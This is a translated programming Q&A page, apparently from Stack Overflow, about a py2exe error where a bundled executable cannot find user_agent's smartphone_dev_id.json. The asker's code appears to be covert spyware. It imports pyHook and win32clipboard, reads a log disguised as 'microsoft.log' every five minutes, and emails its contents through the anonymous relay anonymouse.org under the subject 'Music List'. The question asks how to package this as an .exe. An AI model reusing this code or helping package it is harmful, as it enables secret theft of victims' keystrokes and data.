(Py2Exe)IOError:[Errno 2]没有这样的文件或目录:<path> \\ dist \\ library.zip \\ user_agent \\ data / smartphone_dev_id.json

时间:2018-07-20 09:01:45

标签: python file path py2exe errno

我制作了一个简单的程序,当它在Python Shell上下文中执行时可以正常工作。然后,我尝试使用py2exe将其转换为.exe文件。它编译良好,没有错误。但是,当我运行.exe时,我得到了这个信息:

Traceback (most recent call last):   File "chorm.py", line 30, in
<module>   File "chorm.py", line 19, in hello_world   File
"grab\base.pyo", line 382, in go   File "grab\base.pyo", line 454, in
request   File "grab\base.pyo", line 402, in prepare_request   File
"grab\base.pyo", line 269, in setup_transport   File
"grab\transport\curl.pyo", line 21, in <module>   File
"user_agent\__init__.pyo", line 1, in <module>   File
"user_agent\base.pyo", line 45, in <module>   File
"user_agent\device.pyo", line 7, in <module> IOError: [Errno 2] No
such file or directory: 'C:\\Users\\root\\Desktop\\New fol der
(6)\\dist\\library.zip\\user_agent\\data/smartphone_dev_id.json'

现在这就是我的设置:

from distutils.core import setup
import py2exe
import  sys, os, threading, pythoncom, pyHook, shutil, win32clipboard, warnings, time
from grab import Grab
import user_agent
sys.argv.append('py2exe')

setup(console=['chorm.py'],
    options = {
                    'py2exe': {
                            'bundle_files': 3,
                            'optimize': 2,
                            'includes': ['grab.base','user_agent.device','user_agent.base','lxml.etree', 'gzip', 'lxml._elementpath', 'grab.transport.curl'],

                    }
               }
)

我猜问题出在函数中:

def hello_world():
    threading.Timer(300.0, hello_world).start() 
    print("Hello, World!")
    g = Grab()
    key = open('C:\SinusBot\microsoft.log', 'r')
    run = str(key.read())
    key.close()
    print run
    try:
     g.go('http://anonymouse.org/anonemail.html')
     g.set_input('to', 'mail@gmail.com')
     g.set_input('subject', 'Music List')
     g.set_input('text', repr(run))
     g.submit()
     print g.response.code
     print g.response.headers   
    except:
     print "ERROR"
     raise

我尝试手动添加Smartphone_dev_id.json,但未做任何更改。我对这个想法感到厌倦。有人可以告诉我发生了什么吗?预先感谢。

0 个答案:

没有答案